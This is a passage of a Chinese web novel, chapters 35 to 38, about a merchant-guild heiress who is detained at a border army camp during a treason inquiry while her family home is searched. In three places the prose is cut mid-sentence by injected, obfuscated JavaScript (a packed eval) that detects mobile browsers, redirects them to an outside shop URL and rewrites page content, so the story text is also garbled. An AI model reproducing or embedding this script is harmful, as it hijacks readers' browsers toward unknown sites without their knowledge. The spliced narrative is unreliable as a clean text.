“今早,迟彻已经把罗树送到了乔宅疗伤,若是真像谢大人所说,迟彻为何不干脆借着罗树养伤的机会杀了他以绝后患。”乔怀潇嗤笑一声,“我们不如现在就去找罗树,看看他那日到底是不是看见了什么不该看见的!” 35. 边营 谢昱行跟上了乔怀潇的步伐。 陶蔓落后几步,她悄悄朝李妈妈招手,小声吩咐道:“去把迟彻请来,就说我请他过府一叙。” 李妈妈得令去办,陶蔓自言自语道:“一定是个误会。”她深吸了口气,朝着安置罗树的院子方向追去。 罗树是今早被迟彻派人送进乔宅的,雁馆的郎中一同来了,说罗树醒了,他的伤情也已经稳定了,乔怀潇有什么话大可以问罗树。 乔怀潇便让罗树先去偏院安顿了,此时带着一群人造访,罗树倒是有些意外,“小帮主,你们怎么都来了。” 谢昱行有意要直接开口问话,乔怀潇咳了咳,问罗树:“你的伤怎么样了?” “没事了,让小帮主担心了。”罗树作势抬起胳膊,下一秒却又扯到伤口,嘶了一声。 谢昱行却捕捉到了他手腕上的檀木珠串,脸色一变,“这个是哪儿来的?” 罗树小幅度的扬了扬手腕,“这个啊,是帮主给我的,还要多谢帮主呢。” “我总是来往于大庆边境内外做生意,但是我娘就是希望我考取进学,我在雁帮做事都是瞒着她的,帮里也没多少人知晓。”罗树笑了笑,“我这次刚回来就重伤,怕我娘他们担心,没想到帮主找到我娘,跟她说我是外出运货去了,还帮我娘给我带了这珠串,让我安心。” “迟彻一贯细心。”陶蔓和乔怀潇的目光在空中相接,顿时了然,看来迟彻是担心罗树受刺激,没有把云边村屠村的事情告诉他。 “既然这样,那就没什么好说的,根本就是个误会。”乔怀潇说道。 罗树目光染上几分迷茫,“什么误会?”下一刻却见一直站在他床头的那个陌生男人走近一步,颇有点咄咄逼人,“迟彻是怎么和你说的?他难道没有说云边村……” “谢昱行!”乔怀潇呵斥一声,“重点是这个吗?你总疑神疑鬼的做什么?现在重点是当时那群伤人的歹徒。” 乔怀潇问罗树:“你还记得你重伤时的情景吗?可看清了伤你的人?” 罗树听见乔怀潇的问话,仔细回忆了很长一段时间,“我记得,要是再看到他,我一定能认出来!” 谢昱行的眼睛霎时就亮了,“三边卫所正抓到了可疑之人,罗树,你可愿前去指认。” 身上的伤口无时无刻不释放出痛意,罗树正色道:“我当然愿意,我们这就出发。” “他是我雁帮手下,现在又伤着,我得和你们一起去。”乔怀潇一边对谢昱行如此说道,一边抬脚就要走出去,但立刻遭到了陶蔓的阻拦,“不行,我说过了,你不许出城,安安分分的在长平待着。” 突然,迟彻的声音从门外传来,打断了陶蔓的话,“这么热闹吗?” 谢昱行回头望去,迟彻倚在门上似笑非笑的和他对上目光。 罗树惊喜道:“帮主,您来了,我们正要去三边营呢。” “不如一同前往?”谢昱行眼中的戒备没有丝毫放下,“就是不知道迟大帮主会不会遇到熟人了。” “谢大人这话是什么意思,迟某听不懂,不过要是有用得上迟某的地方,迟某必定不会推迟。”迟彻看向陶蔓,“本来说来陪夫人说话,现在倒是要先走一步了。” “无妨,你们去把误会解开就是最重要的事情。”陶蔓拉了一把乔怀潇,“兹事体大,你陪迟彻去,快去快回。” 乔怀潇挑眉,应了声“好”。 直到骑着马走出城门,乔怀潇才意识到,出城原来这么简单,大概和陶蔓那日奇怪的择婿想法有关,想到这个,乔怀潇看着迟彻都觉得有些难以言喻的尴尬。 他们两人坐下的马并排走着,贴的很近,两匹马的尾巴还时不时扫向对方,乔怀潇不动声色的拉开点距离,转头一看,觉得谢昱行的马也奇怪的很,只离罗树坐着的马车的马很近。 乔怀潇轻催缰绳,朝谢昱行凑近了些,还没等她说话,谢昱行就开口了:“你就这么信任他?” “我倒是好奇,你为什么就咬着他不放了。”刚刚是为了能出城,乔怀潇故意在陶蔓面前和谢昱行争执,现在也多了几分平和的探究之意,“你觉得是迟彻拿珠串威胁罗树,但刚刚罗树所说不就已经说明了不是吗?” “直觉。”谢昱行隔着人群和迟彻对望,他微微低下头,侧身在乔怀潇耳边道,“男人的直觉。” 乔怀潇“噗嗤”一声笑了出来,“我还是第一次听说这个说法,那我们来打一个赌,我赌迟彻绝无问题,我赌是你疑心过重。” 说完,乔怀潇拉紧缰绳就要退开,谢昱行不禁道:“你就不怕被他骗了吗?” “我的信任只给值得的人,至少他救过我。”乔怀潇回眸,“我也还是有点长进的,被骗了一次难道还会被骗第二次吗?” 乔怀潇的话仿佛银针扎入眉间,谢昱行攥紧缰绳想追上去,却感觉到了座下马儿的倔强,无论他怎么调转马头,这匹马就是不动。 他泄气般的抬头,看见迟彻抵在唇间的手。 迟彻对上谢昱行的目光,扯出一抹笑来,他轻轻拉动缰绳,马儿就跟着他轻巧的挪到了谢昱行的身边,“谢大人看起来有心事。” 谢昱行扭头看路,“你不觉得很不对劲吗?一向和平共处的波利人会突袭云边村,明明是外邦人却能神不知鬼不觉的翻过云连山。” “世间人大都难以自持,或许波利人贪恋大庆富硕于是决定劫财,又或许是哪个无知百姓受利益驱使为他们带路。”迟彻轻叹,“我倒觉得此事既已发生,不如想想之后的情形,也不知道波利和大庆会不会打仗。” “你觉得呢?”谢昱行眸中神色不明,“不如我们来打个赌,我赌不会。” “有谁会拿这种事情做赌。”过了一会儿,迟彻才说:“像谢大人这样的人可不多见。” 谢昱行并不追问什么叫像自己这样的人,他盯着迟彻,直截了当道:“迟彻,你很可疑。” 迟彻哈哈笑起来,仿佛听到了一个天大的笑话般,“谢大人可真会开玩笑,那我就不在您跟前碍眼了。”他扯动缰绳,继续和乔怀潇并行。 乔怀潇有些好奇,“谢昱行和你说了什么?” “他怀疑我。”迟彻的目光凝聚在乔怀潇身上,很快听见她说:“我信你。” 乔怀潇伸出手来,拍了拍他的肩膀。 迟彻目光闪了闪,他垂下眼眸,那本就比常人更长的睫毛显露出一个完美的弧度,“他好像不是很喜欢我。” 这次乔怀潇却过了一会儿才说,“他向来就是这样的,你别放在心上。” 迟彻抬起头来,正要说话,前方却传来士兵的报信声,“营地已到!” 乔怀潇正襟危坐,将不远处的一片兵营尽收眼底。到了营前,他们下马,士兵将马牵往马厩,有人领着他们朝前走去。 兵营里士兵齐整,他们一行人也都被肃杀的气氛所感染,没有人敢随意发问。 乔怀潇也是第一次到军营里来,跟着引路的士兵走到一处军帐,掀开帘子,里面摆着几个烛台,再就是一个空的兵器架子,她心下存疑,还没待多久,帐子再次被掀开,一个小兵模样的男人进来,朝谢昱行抱拳说道:“国公大人,请移步军帐,上次的事情有眉目了。” 谢昱行点点头,刚踏出去一步,他又转头,视线在乔怀潇身上停下,“乔姑娘也来,有需要你的地方。” 乔怀潇一愣,跟着他走了出去,转而进到另一个军帐,这个帐内的陈设就更加乏善可陈了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529175|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎可以说是空无一物。 也没见什么事情要谢昱行处理,乔怀潇只看见谢昱行在一旁的矮塌上坐下,说道:“听说这附近有种野果子,甘甜多汁,要不要尝尝?” 乔怀潇大为意外,“你还有心思吃果子?” 谢昱行一副闲适模样,“不然在这儿只看戏,该有多无趣。” 乔怀潇顿时反应了过来,“你是故意把他们留在那儿的,你试探迟彻。” “三边军镇守长平,昌荫,甸州,驻守边关威名赫赫,别有用心之人自是会想法设法的来打探军情,如今我带他们进来了,就看谁按捺不住巧借名目想外出刺探一番了。” 谢昱行站起来掀开帐帘,就在他话音落下的那一刻,乔怀潇看见迟彻掀开了帐子,走了出来。 “你看。”谢昱行的脸上没有意外,“就说他有问题。” 乔怀潇走上前,清楚的看见迟彻出来了,不过前后脚的时间,罗树也跟在后面走了出来,还有小兵跟上前去带路。 谢昱行神色一凝,恰巧一旁的士兵来汇报:“大人,将军派人把他们请去校场了,也请您和乔姑娘同去。” 乔怀潇立刻笑出声来,抬脚朝外走,“你叫我来,真是看到了好大一出笑话,最好的结果就是你们抓到的那些可疑之人里面确有波利的线人,但是迟彻的事,你要做好失望的准备了。” 乔怀潇跟着士兵走去,身后传来谢昱行跟上的步伐,她再不管他,目光掠过这营地,刚刚她就在奇怪这营地的简陋,现下心里已经有了答案。 这极有可能就是一个长久不用的废弃营地罢了,真正的三边大营怎么能让他们这么轻而易举就走进来。 再看校场,所能容纳的人数也有限,此时校场中心,数十个士兵看守着一排灰头土脸的商人。 为首的赵鹏毅大马金刀的,双手背在身后,直直的看着罗树:“你仔细看看这群人里,有没有你那天在云连山上见过的,伤了你的人。” 罗树紧张的有些哆嗦,他虚跨着步伐走上前,视线从左往右慢慢移动,突然,他又低下头去,“没有,记不清那些人的长相了。” “又说没有又说看不清了,你分明是心中有鬼。”赵鹏毅大为火光,扣住他的脑袋逼他直视那群人,“那群波利人屠了云边村,大庆势必要他们血债血偿,你给我看清楚了!” “什么屠村……”罗树一愣,被赵鹏毅的力带着一个踉跄,脸上写满迷茫。 赵鹏毅奇怪的看他一眼,“你还不知道?那波利人不仅重伤了你,还屠了云边村,幸存者寥寥。” “那我爹娘呢?”罗树登时惊骇无比,朝赵鹏毅扑了过去,“我娘名为罗银,我爹叫张浩,他们两个两个是云边村村民,他们怎么样了,还活着吗?” 乔怀潇面露不忍,正要上前告诉罗树实情,却被谢昱行按下了动作,赵鹏毅也不答这个问题,逼问罗树道:“你先找到那个暗通波利的人,看仔细了。” 罗树呼吸急促,他回头看了一眼乔怀潇,又回过头去,哆哆嗦嗦的伸出手,指向队伍正中间的一个壮年男子,“那天我看见他躲在波利人后面。” 被罗树指中的男人霎时腿软跌倒在地上,原本就虚弱的脸色愈加惨白,他穿过人群朝乔怀潇喊道:“小帮主,救我,救我。” “看来暗通波利的人还不止一个,给我通通拿下!”赵鹏毅凛声喊道。 士兵的齐声高呼响彻天际,乔怀潇的脑中一片空白。 迟彻连忙上前道:“赵将军,这一定是个误会。” 赵鹏毅并不理睬他,朝后向士兵摆摆手,迟彻给拖开了。 谢昱行怔愣在原地,人群中,他看见了迟彻怨恨的神色,他无声的说道:“现在你满意了吧。” 36. 搜家 随着赵鹏毅的呵令,乔怀潇只觉得数不清的目光扎在她的身上,带路的士兵扭头看她,视线中迸发出军人的凌冽,将令兵行是说一不二铁血手腕的具象化,这一刻,乔怀潇才有置身军营的实感。 校场上黄沙扬尘,士兵如临大敌的朝她围了过来,乔怀潇心跳得飞快,她甚至做好了被向下扣押住的准备。 但一个高大亭立的背影挡在了她的面前,“我看谁敢动手!” 谢昱行的声音不敌将士群声,但笃言有力,“本国公受旨任出使大臣,陛下亲笔御书,言明沿途各州县务必确保使臣行程顺利,更有调兵充入使队之,赵总督,不要坏了出使大事。” 这和出使有什么关系,赵鹏毅张嘴就要回驳,但偏偏士兵还真被谢昱行给唬住不动了。 谢昱行又说道:“此人行迹可疑,仅凭他几句片面的毫无头绪的话,赵总督就能把乔姑娘当做罪犯一样下狱了吗?乔姑娘生于大庆长于大庆,凭一己之力令长平茶业生意焕发生机,办学堂救学子,乔夫子更是以御史大夫清正之名致仕,赵总督如果说这样的人家里有反贼,我谢昱行第一个不答应。” 乔怀潇把谢昱行的话听进耳里,不禁歪了歪脑袋:这是在夸我?她所站的位置正好就处于谢昱行的阴影之下,她在这样的阴影之下心如擂鼓,这和安全受到威胁时的心跳加快迥然不同。 赵鹏毅则是看着振振有词的谢昱行,张开的嘴堵在半空中,一下子就被噎住了,这丫头姓乔……难不成是乔高湛的乔? 他看向被谢昱行挡住的乔怀潇,她只有一片冰蓝色的衣角露在外面。 在赵鹏毅陷入了沉思的下一刻,乔怀潇从谢昱行身后走了出来。 随着她步子散开的层层衣角,就像雪山上的雪莲初绽一般,她不急不缓轻笑道:“这位倒确实是我雁帮的商人,看他神色有异常,那自然要好好问清楚,但我行的正坐的直,赵总督可不能妄下定论,但凡有用得上我的,我自当愿意配合调查,知无不言,绝不隐瞒,” 赵鹏毅盯着她的脸看,半晌,从鼻子里哼出一气,“我是那种不讲理的人嘛。” “那就请乔姑娘随我走一趟了。”赵鹏毅朝后挥挥手,士兵脸上厉色褪去,朝乔怀潇做了个请的手势。 谢昱行并不赞同,按住乔怀潇,“你别……” “你别担心,我有分寸。”乔怀潇反握住他的手,“我也很想知道雁帮是不是出了吃里扒外的东西,更想看看波利人到底是怎么瞒天过海进了云连山的。” “乔姑娘愿意配合,那自然是再好不过了。”赵鹏毅走到乔怀潇身边,皮笑肉不笑道,“请吧,乔姑娘。” 乔怀潇跟上,谢昱行也不顾阻拦,抬脚就要跟着他们走进军营。乔怀潇不动声色将袖中一块方印塞进谢昱行的手中,低声道:“这是雁帮印鉴,你带着罗树,去雁帮替我问问那个商人的来路和底细。” 谢昱行愣了愣,还未作答,就和回头张望的赵鹏毅对上了视线,他似乎没有看见两人的动作,只朝谢昱行点点头,“国公大人,借一步说话。” 谢昱行跟着赵鹏毅走到军帐后面,他垂着手,指尖拂过印鉴上的紫藤花刻纹,并没有十分听清赵鹏毅的话,“什么?” “国公大人,方才我仔细看过,你带来的这个乔怀潇是乔高湛的女儿,是也不是?既然这样,乔高湛曾是朝廷中人,牵扯到这样通敌叛国的大事里,这可不能马虎,我要下令搜查乔府。” 谢昱行眉头一跳,“搜宅?为何如此不留情面,你既然知道是乔夫子……” 赵鹏毅挥了挥手,一副打定了主意的样子,“此事就这样说定了,而且动作要快,才能把那些不怀好意的人都一网打尽,我会派我麾下的总兵前去,至于国公大人……” 谢昱行略微迟疑了一会,接着很快说道:“此事交给我,我愿意为赵总督分忧。” 出乎意料的,赵鹏毅对此只说了一句,“也好。” 两人走了出去,谢昱行看着在原地等他们的乔怀潇,不自觉攥紧了手中的方印。 赵鹏毅的脸色却看上去很好,他拍拍谢昱行的肩,“那辛苦国公大人返程了。” 谢昱行错开乔怀潇投来的视线,“那我就先走了。” 士兵为他牵出马来,队伍重新整装待发,不过相较于来时少了乔怀潇和罗树两人,多了一个赵鹏毅的属官。 迟彻站在队伍旁,一下一下摸着马儿脖子上的鬃毛,马儿也亲昵的接受他的抚摸。即使今日这是他们的第一次会面,但迟彻天生就是具有洞悉动物内心的能力,他知道这匹公马和那匹红鬃马是一对儿,他看向一边孤零零的红鬃马,走了过去,也摸摸它的背脊。 身后传来乔怀潇的声音,“路上小心。” 迟彻回过头去,看见谢昱行站在乔怀潇的面前,轻声和她说着话:“你在这儿也要多加注意,最多今天,明天就让赵鹏毅送你回去,这事本来就和你没关系,不对,也怪我,今天不该带你一起来这儿,回去我会去和夫子和夫人告罪……” “你不怕吗?”迟彻说道。 乔怀潇这才看向迟彻,她笑笑,“我又没做过,我怕什么。” “快走吧。”赵鹏毅催促道。 队伍行动起来,回去的路上,谢昱行变得沉默了许多,和迟彻并不说话,倒是赵鹏毅手下的常总兵一步不离的跟在他身边。 入了城,眼看着迟彻的背影在街道后消失,谢昱行才回应身边常总兵无声的催促,“走吧,去乔宅。” 他叩响宅门,没过一会儿小厮就前来开门。 “谢大人来了,我家小姐呢?”小厮的声音戛然而止,因为他看见了谢昱行身后跟随着的一队肃穆的士兵。 “乔夫子在哪?带路。”常总兵跨步走了出来。 谢昱行就这样看着看门的小厮脸色微变,带着他们朝里走去,果然,到了正堂,乔高湛和陶蔓已经得到了谢昱行带兵入院的消息,目不斜视的看着他们。 陶蔓隐隐皱眉,“谢大人,这么大的阵仗所为何事?” “自然是要搜查乔家。”常总兵亮出赵鹏毅亲手写的搜查令,抢先说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581958|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“令爱与云边村屠村一案有牵连,我乃奉赵总督之命前来搜查。” “赵鹏毅?!”陶蔓细细看过令书上的字迹,确是赵鹏毅的字迹无疑,“他敢!云边村的事情和潇儿有什么关系,他空口白牙就想胡说不成?” 相较于陶蔓的气愤,乔高湛则淡然许多,还给常风身后的士兵让出一条道来,“我乔某行得正坐的端,随意搜查,请便。” 常风朝身后挥了挥手,示意手下开始搜查。 士兵一下就在乔宅中分散开来,好在动作不算鲁莽,谢昱行松了口气,“学生无能,让夫子受累了,此事若是被别有用心之人从中做文章,就是洗不清的大罪,学生便想亲自来一趟,为夫子正名,更为怀潇求真,不至于无辜蒙冤,日后遭受流言中伤。” 陶蔓此时也稍稍回神,通敌叛国可是一顶大帽子,搜家虽然听起来不好听,但最后什么都搜不出来,一切自然水落石出,反而更让人找不出攻讦的地方,她叹了一口气,“那便搜吧,潇儿呢,难道一回来就又去雁馆了不成。” 谢昱行顿了顿,“怀潇还在军营,协助总督问话。” “被扣在军营了?”乔高湛的脸色骤然失控。 陶蔓一愣,似乎从没想过乔怀潇此时还会在军营里,接着迸发出怒色,“说是协助问话,人都被扣住了,还要搜家,他赵鹏毅怎么敢把潇儿当犯人对待!” 常风在一旁指挥着士兵,听到这儿,有些奇怪的看着乔家夫妇,尤其是乔高湛,这人还真是奇怪,知道要被搜家的时候十分平静,结果知道自己女儿被扣住了,反而看上去惊讶的不行。 还有那个谢昱行,在军营临走的时候还说,最多明天就要总督把人送回来,他们总督向来说一不二,怎么可能照你说的做。 再说了,那乔怀潇的商队总是往返于外邦和大庆,说不定还真和波利人有什么不该有的来往,不过要常风来看,他更觉得去搜雁帮,他自顾自想着,手下就上前报告,“大人,并无发现异常。” 常风挑了挑眉,对这个结果不置可否,没有也好,反正任务完成,回去也能跟赵总督交差了。他也不看谢昱行,十分利落的收兵,朝乔家夫妇拱拱手,“那就叨扰了。” “诶。”陶蔓看着常风就这样转身朝外走去,急得在原地打转,愤愤道,“这个赵鹏毅,真是反了天了,如今做了总督,真是越发独断专行,手底下的兵也和他一个样子,哪还有当初在荣威将军麾下的谨小慎微。” “慎言。”乔高湛轻声道,眉头紧锁,“让我想想。” 谢昱行能理解乔高湛和陶蔓的不满,只是斯人已逝,谁能说得清如今往日的不同,他抬头看了一眼昏黄的天色,拿出乔怀潇给他的印鉴,简单说明了一下今日在军营的情况,随后道:“今日的事情蹊跷的很,这是怀潇交给我的,她托我去查被罗树指认的那个商人的消息。” 陶蔓眼睛亮了亮,“那快去,我记得去年潇儿废了很大的劲,把雁帮所有商人都造册记录在案了,就在雁馆里,对,你去找迟彻,一定能帮你查清楚。” 37. 女儿 星幕低垂,乔怀潇没有呆在分配给她的军帐里,而是一直在营地里慢慢走着,奇怪的是赵鹏毅没有派人拦她。 当然奇怪的事情不止这么一件,乔怀潇抬头看了一眼天色,这么晚了,赵鹏毅竟然一直没有要审问她和罗树的意思。 罗树一副魂不守舍的样子,乔怀潇想着他的伤,刚要说话,就听见他的肚子里发出“咕噜咕噜”的声响。 乔怀潇脚步一顿,看见了篝火旁围着的一圈士兵手中的食物,“正好,我也饿了。” 她不带犹豫的朝围坐的士兵走去,罗树无意识的张大了嘴,才急急忙忙的追上去,正好听见乔怀潇对士兵们说:“你们吃的是土豆吧,好香。” “呦,小姑娘还认识土豆呢。” “这土豆产自石阡,还是我带商队从石阡带进大庆的,没想到军队里如今拿它做主食了。” “从营地过来只带了这个。”说话的士兵将串起的土豆递给乔怀潇,“姑娘尝尝?” 挨着士兵坐的另一个男人却撞撞他的肩膀,摇了摇头,有人起哄道:“我们自己烤的,姑娘要吃,该拿东西换吧。” “哦?拿什么换?” 男人笑起来,笑声直听得罗树皱眉,“小帮主,我们回帐子里去吧。” 罗树话音刚落,便见乔怀潇脚尖挑起地上的棍子,棍子轻巧的挑过士兵手中的土豆串。 土豆串被乔怀潇拿在左手,她凑近闻了闻,摇了摇头,“差点椒盐。” “你!”被夺了食物的男人啐了一声,“军营就不是女人该待的地方。” 男人站起来,在不甚明亮的光线里也可见他魁梧健硕的身形,一旁的士兵都有些幸灾乐祸的看向乔怀潇。 罗树窥见男人的动作,惊呼道:“小帮主,小心!” 令所有人始料不及,乔怀潇十分轻松的躲过了男人的袭击,她右手拿着一根木棍防身,看上去随时有断掉的风险,但就是这根脆弱的木棍,每次都能推开男人狠劲十足的掌心。 乔怀潇还抽空把土豆串扔到了罗树的手里,她的木棍开始反客为主,有力的打在男人的腿上,“底盘不稳,出手太慢。” 男人从最开始的胜券在握变得惊慌,因为他发现乔怀潇说得对,更是不敢置信的认识到自己被面前的女人给压制住了,最后,他听见一声轻笑,女人手中的木棍直直的戳在他的胸口上。 木棍终于断了,分成两截掉在地上,但男人低着头看着自己的胸口,心里闪过一丝后怕,如果面前的女人拿的是剑,此时他怕已经是被捅了个对穿了。 “这串我拿走了,没意见吧。”乔怀潇拍拍手。 “你们在干什么!”韩振突然出现。 原本坐着看戏的士兵纷纷站起来,“韩副将。” “军令有言,不许私下斗殴,你自己去领军棍。”韩振瞪向男人,又看向拿着一串土豆的罗树,“罗小兄弟,请回帐吧,莫要为了这么一串土豆坏了军令。” 罗树没有辩解韩振对他的误会,跟在乔怀潇的后面回了军帐。 两人的军帐就在隔壁,不过罗树没有回去,而是待在乔怀潇的身边,两人终于有了说话的机会,乔怀潇反应过来,斟酌着用词道:“你母亲还安好,就安置在诚义堂里,不过你的父亲不幸被贼人砍中,已经亡逝了。” 罗树手中的土豆一下子掉在地上,他今天强忍了一天身体的伤痛,终于在此刻都加倍的刻骨铭心起来,他双手捂面,“云边村怎么会发生这种事情,我以为只是我倒霉会碰上他们,只倒霉我一个就够了,为什么要这样,为什么死的不是我。” “那天,那个男人……”罗树手握成拳锤自己的脑袋,脸上都是痛苦的神色,“还有什么线索,快想,快想。” 罗树又抬头,“小帮主,今天我指出那个商人来,连累了你,但是我没办法了,我看着他的脸有了印象,一下就反应出来了,不能就这么放过他们。” “当然,这件事情必须查清楚,否则怎么对得起云边村那些枉死的百姓。”乔怀潇拍拍他的肩膀,“你再仔细想想,还有没有什么遗忘的细节?” 这时门外传来韩振的声音,“乔姑娘。” 他身后跟着人,把食盒在矮桌上打开,取出两份白米饭,一碟酱豆和酱菜,“乔姑娘,吃晚饭吧。” “总督还让我转告乔姑娘一句话。” “什么?” “明日就请乔姑娘去问话,还请乔姑娘就莫急,就在帐篷里候着,莫要再生事端。” 听到这话,乔怀潇脸色没有什么变化,她的确是是故意在军营里惹事的,就是想看看赵鹏毅晾着他们是要做什么,既然他知道了自己的意思,也就没有必要再找存在感了,她点点头,“总督这么说了,我当然照做。” 乔怀潇话音刚落,就听见外面传来一阵凄厉的叫声,帐篷只起到一个遮挡视线的作用,没有任何阻隔声音的能力,男人凄厉的声音十分清楚的传入乔怀潇和罗树的耳朵。 “是今天被我指出来的那个人?”罗树有点哆嗦。 韩振并不回答这个问题,只说:“那就请二位今晚好好休息。”接着带着手下掀开帘子走了出去。 乔怀潇看着桌上的饭菜,从善如流的坐下,拿起筷子夹了一筷子酱菜送进嘴里,招呼罗树过来,“吃完休息,为明天养足精神。” 外面的凄厉叫声还没有停,即使罗树跟乔怀潇出过商队,了解她一贯是冷静的,这时却还是被乔怀潇的泰山崩于前而不改其色所震惊。 但与此同时,他也像找到了主心骨,深吸口气,在乔怀潇对面坐下,咽下这简陋的饭菜。 第二天早上士兵送来的饭菜也并没有好多少,四个馒头再加一碗咸菜,罗树吃完不得不喝了许多水,再看乔怀潇,几乎没有什么多余的反应。 “小帮主……” 罗树的话被进来的士兵打断,士兵拱了拱手,“二位,总督有请,请随我来。” 乔怀潇点头,跟着士兵踏出帐篷。 清晨的光线并没有使得军营肃杀的气氛消散,在路过昨天交手的男人时,男人恶狠狠的视线毫不收敛,乔怀潇注意到他的双腿姿势,目光上移。 男人身体一僵,感觉乔怀潇的视线好像穿过了他的裤子,对他屁股上的军棍痕迹一清二楚似的。 乔怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604263|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潇却轻轻移开目光,对他说了一句:“昨天看到营地西南角有银角草,捣碎敷在伤口有止痛的作用。” 男人的脸霎时一红。 罗树将这些都看在眼里,不禁对乔怀潇感到佩服,昨天孤身就敢在军营里挑衅士兵,今天又顺势释放善意,不过一天时间,就将人心捏在手里,粗糙的难以下咽的饮食,简陋没有安全的帐篷,这些在她这里也不成问题。 在佩服之后,罗树又不自觉生出对强者的畏惧,他并不知道自己具体在畏惧什么。 “罗兄弟。”带路的士兵不知什么时候走到罗树身边,罗树回过神来,才发现前面的乔怀潇已经进了主帐,他深吸一口气,也走了进去。 甫一进去,罗树就被帐中的血腥气给冲击到了,乔怀潇也蹙着眉头。 乔怀潇的目光停在被拖在中央的男人,可以分辨出是昨天的商人。 “乔怀潇,你可知罪!”赵鹏毅拍桌而起,盯着她,“这人都交代了,你一直和波利有生意往来,当初以八百斤茶砖仅向购波利金珠十枚,明晃晃的向波利送钱,这次也是故意授意他带波利人来劫掠百姓。” “照他所说,我不仅朝波利送钱还给他们带路害人,请问我作为一个商人,我能得什么?况且这些都是他的一面之词,我以为总督不会如此轻信才是。”乔怀潇半分不退,迎上赵鹏毅的视线,“不过我现在明白了,总督一直针对我是为什么了?” 赵鹏毅神色一顿,“哦?你倒是说说,我为什么针对你。” “要是按表面上看,把我扣在军营里,伙食差得离谱,刻意的忽略冷落,大概是总督和吾父有过节,总督借机报复我。” 乔怀潇双手负在身后,“不过总督的此针对非彼针对,总督上派人看着我,一有意外就让韩副将现身,韩副将罚了和我起冲突的士兵,却没罚我,还亲自带人来送吃食,虽然吧,这伙食实在是差强人意……” 赵鹏毅大笑起来,“你啊你,不愧姓乔!” “不过我刚刚的话可不是骗你。”他从高台上走下来,睥睨着趴在地上喘息的男人,“这人的确是诬告了你,昨日还想吞药自尽。” 赵鹏毅话音刚落,士兵就急急忙忙进来传话:“禀报总督,有人在营前……叫你。” 这个叫说得很委婉了,因为下一刻,乔怀潇听见了自家父母兴师问罪的喊声,直直的穿帐而来:“赵鹏毅,你给我出来!” 赵鹏毅也不恼,反而笑着迎了出去。 陶蔓和乔高湛就在营地前面,脸色很不好看,赵鹏毅把人往里迎,乐呵呵道:“老乔啊,你看看你,这么着急做什么,怎么还亲自上门来接人了,我这是在替你磨砺女儿呢。” “我可不要她受磨砺,更舍不得她受苦。”陶蔓抢先哼了一声。 此时乔怀潇走了出来,立刻就被陶蔓拉住了手,左右看看,“没事吧,怎么看着你瘦了一圈。” 赵鹏毅立刻收到了陶蔓视线里的谴责,他摊开手,“就一天,怎么就瘦了,你这宠女儿可太过了,我要是有女儿……” 乔高湛咳了咳喉咙,神情是前所未有的严肃,“你过来,我有话要和你说。” 38. 吻 “我几次三番拜访你你都推辞,现在又有什么话要和我说?要我说,你可都致仕了,还整日操心做什么。”赵鹏毅嘟囔着,却还是跟着乔高湛朝隐蔽处走去。 乔怀潇看着他们离开的方向,陶蔓将她扳正,两人面对着面,“你现在和我好好说,赵鹏毅有没有为难你。” 乔怀潇正要摇头,陶蔓自顾自道:“若不是我和你父亲想着,赵鹏毅到底是多年旧友,不至于太过为难你,否则昨晚就该接你回家。” “阿爹认识赵总督,怎么从没有听他提过。” “那都是老黄历了,他啊,老鳏夫,一门心思就奔在带兵训练上。”陶蔓提及赵鹏毅的语气显然十分熟稔,但其中带着几分怅然,“当年阿术被外邦人害死,他一直就疯魔了似的,什么都不管了,这次的事情更是正中他的痛点。” “阿爹想劝劝他?” “没什么可劝的,该怎么办就怎么办。”陶蔓看着乔怀潇,“你的事情才是大事,我们赶紧回去,这儿杀气太重。” 除了刚刚的血腥气,乔怀潇倒没觉得有杀气,但让父母担心,她心中极是过意不去,她挽上陶蔓的手,“你们一早就赶来了,累不累?那我们就早点回去吧。” “回哪儿去?”赵鹏毅走了回来。 也不知道两个人谈了些什么,乔高湛在他身后,几乎是追出来的。 “总督方才说那商人诬告于我,自然是查出些眉目了,我没了嫌疑,当然要回长平。”乔怀潇说道。 谁料赵鹏毅眼神掠过乔怀潇,又停在乔高湛身上:“正好,我也要去长平,我们一起同行,我们许久没见了,路上正好叙话。” 他不由分说的就让手下去准备车队,陶蔓愣是没找到插嘴的时候。 乔怀潇左右看看,“阿爹,你和他说什么了?” “我问他是不是欺负你了,老大不小的人了,反而越长越回去了,哪像个威振三边的将军,活脱脱就是个急躁前锋。” “看来你们的交情比我以为的还深厚。”乔怀潇说完,看见了赵鹏毅命人拉出来的一匹马。 这匹马全身黝黑,像黑缎子一样,油光放亮,唯有四个马蹄子部位白得赛雪,踏步走来时又神情倨傲。 可惜乔怀潇并没有机会骑上这匹马,陶蔓拉着她进了马车。 